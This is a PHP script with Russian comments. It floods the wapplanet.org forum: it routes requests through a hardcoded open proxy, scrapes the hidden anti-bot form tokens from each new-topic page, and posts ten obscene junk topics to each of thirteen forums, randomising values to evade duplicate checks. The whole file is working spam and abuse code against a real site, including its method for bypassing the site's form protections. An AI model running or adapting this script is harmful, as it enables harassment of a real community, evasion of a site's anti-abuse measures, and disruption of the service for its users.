<? set_time_limit(0); #/*UTF-8*/ function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed());#/*чтобы случайные числа генерировались заново*/ for($jj=1;$jj<14;$jj++){ /////// $fs=fopen("sid1.txt","r"); $sid=fgets($fs); fclose($fs); //////// //$sid = "h73qYO44";/**твое ид Авторизируйся и получи его**/ $indexForum = $jj;/*ИД ФОРУМА*/ $Referer = "http://wapplanet.org/forum/?p=1&f=".$indexForum."&z=31364331&add=1&sid=".$sid."&w=htm"; $UserAgent ="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)"; $countOfMessages = 10; #число сообщенией(тем); for($i = 0;$i < $countOfMessages;$i++){ srand(make_seed()); $randNum0 = rand(1,2000); $randNum1 = rand(1,2000); $randNum2 = rand(3000,4000); $x = $randNum0/$randNum2; $y = $randNum1/$randNum2; $UserAgent = $x*$y; $head = urldecode(urlencode("DezaPidor".$x)); $message = urldecode(urlencode("PizduiNahui!".$y)); ################################################## ### /* сначала методом гет гружу страницу с считываю скырыте поля затем методом пост отправляю запрос=)на создание темы при одинаковых именах темы для юзеров не множаться а вот для админа(бота) да-------->бан */ $proxy = "165.228.128.10"; $port="3128"; $fp = fsockopen($proxy, $port); $headers_s = "GET ".$Referer." HTTP/1.1\r\n"; $headers_s.= "Accept: */*\r\n"; $headers_s.= "Accept-Encoding: gzip, deflate\r\n"; #$headers_s.= "Referer: http://www.wapplanet.org\r\n"; $headers_s.= "Accept-Language: ru\r\n"; #$headers_s.= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers_s.= "User-Agent: ".$UserAgent."\r\n"; /*через два часа дошло...rnd$$$$ генерируется по юзер агенту поэтому нужно указывать его везде и один и тот же*/ $headers_s.= "Host: www.wapplanet.org\r\n" ; #$headers_s.= "Cache-Control: no-cache\r\n"; $headers_s.= "Proxy-Connection: Close\n\n"; $headers_s.="\r\n"; //echo "<pre>"; //echo $headers_s ; //echo "</pre>"; fputs($fp, $headers_s); $getText =""; while(!feof($fp)) #echo HtmlSpecialChars(fgets($fp,1000)); $getText.= fgets($fp,1000); fclose($fp); echo $getText.'</br>'; preg_match('/input type=hidden name=.rnd. value=.\d{7,}/',$getText,$rnd); preg_match('/\d{7,}/',$rnd[0],$rnd); echo $rnd[0]."<br/>"; preg_match('/snd\d{7,}/',$getText,$snd); echo $snd[0]."<br/>"; ################################################## ## $data = "http://wapplanet.org/forum/subject=$head&body=$message&p=1&f=$indexForum&t=0&a=&sm=&w=htm&sid=$sid&rnd=".$rnd[0]."&add=1&".$snd[0]."=%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C"; $headers = "POST /forum/ HTTP/1.1\r\n"; $headers .= "Accept: */*\r\n"; $headers .= "Referer: http://www.wapplanet.org\r\n"; $headers .= "Accept-Language: ru\r\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Accept-Encoding: gzip, deflate\r\n"; $headers .= "User-Agent: ".$UserAgent."\r\n"; $headers .= "Host: www.wapplanet.org\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n"; $headers .= "Proxy-Connection: Close\n\n"; $headers .= "Cache-Control: no-cache\r\n\r\n"; $headers .= $data; //echo "<pre>"; //echo "###<br/>"; //echo "тема: ".urldecode($head)." Сообщение: ".urldecode($message)."</br>"; //echo $headers; //echo "</pre>"; echo "f=".$jj." p=".$i."<br>"; #/* $fpFlood = fsockopen($proxy, $port); fputs($fpFlood, $headers); $getText =""; while(!feof($fpFlood)) #echo HtmlSpecialChars(fgets($fp,1000)); $getText.= fgets($fpFlood,1000); fclose($fpFlood); /**/ #################### //echo $getText.'</br>'; #/**/ #/*запускал с локального хоста Поэтому с кириллицей проблемы (в теме и сообщении) пока не сохранил в utf-8*/ }; } ?>